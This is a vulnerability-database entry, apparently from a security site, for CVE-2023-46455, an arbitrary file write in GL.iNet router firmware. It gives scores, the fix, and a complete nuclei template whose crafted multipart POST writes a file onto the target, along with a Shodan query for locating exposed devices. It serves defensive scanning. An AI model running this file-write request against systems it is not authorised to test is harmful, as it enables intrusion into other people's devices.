HexBrain

Browse / CVEs / CVE-2023-46455

CVE-2023-46455· gl-inet / gl-ar300m firmware· CWE-22

GL.iNet <= 4.3.7 - Arbitrary File Write

highseverity
7.5CVSS score
47%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it

GL.iNet <= 4.3.7 is vulnerable to an arbitrary file write exploit, allowing an attacker to overwrite arbitrary system files.

Impact

Unauthenticated attackers can overwrite arbitrary system files, potentially compromising the device configuration and enabling persistent access.

Fix

Upgrade GL.iNet devices to firmware version 4.3.8 or later.

How to confirm it

Send: GET /
Positive when: contains "GL.iNet"
Send: POST /upload
Positive when: contains "File uploaded successfully" AND status 200

Run it with nuclei: nuclei -id CVE-2023-46455 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2023-46455

info:
  name: GL.iNet <= 4.3.7 - Arbitrary File Write
  author: Zierax
  severity: high
  description: |
    GL.iNet <= 4.3.7 is vulnerable to an arbitrary file write exploit, allowing an attacker to overwrite arbitrary system files.
  impact: |
    Unauthenticated attackers can overwrite arbitrary system files, potentially compromising the device configuration and enabling persistent access.
  remediation: |
    Upgrade GL.iNet devices to firmware version 4.3.8 or later.
  reference:
    - https://github.com/cyberaz0r/GL.iNet-Multiple-Vulnerabilities/blob/main/CVE-2023-46455.py
    - https://nvd.nist.gov/vuln/detail/CVE-2023-46455
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-46455
    cwe-id: CWE-22
    epss-score: 0.46966
    epss-percentile: 0.9884
    cpe: cpe:2.3:o:gl-inet:gl-ar300m_firmware:4.3.7:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: gl-inet
    product: gl-ar300m_firmware
    shodan-query: title:"GL.iNet Admin Panel"
  tags: cve,cve2023,gl-net,file-upload,intrusive,vuln

variables:
  string: "{{to_lower(rand_text_alpha(5))}}"
  file: "{{to_lower(rand_text_alpha(4))}}"

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        part: body
        words:
          - "GL.iNet"
        internal: true
        case-insensitive: true

  - raw:
      - |
        POST /upload HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=---------------------------81419250823331111993422505835
        X-Requested-With: XMLHttpRequest

        -----------------------------81419250823331111993422505835
        Content-Disposition: form-data; name="sid"

        {{auth_token}}
        -----------------------------81419250823331111993422505835
        Content-Disposition: form-data; name="size"

        4
        -----------------------------81419250823331111993422505835
        Content-Disposition: form-data; name="path"

        /tmp/{{string}}
        -----------------------------81419250823331111993422505835
        Content-Disposition: form-data; name="file"; filename="{{file}}"
        Content-Type: application/octet-stream

        {{string}}
        -----------------------------81419250823331111993422505835--

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "File uploaded successfully"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from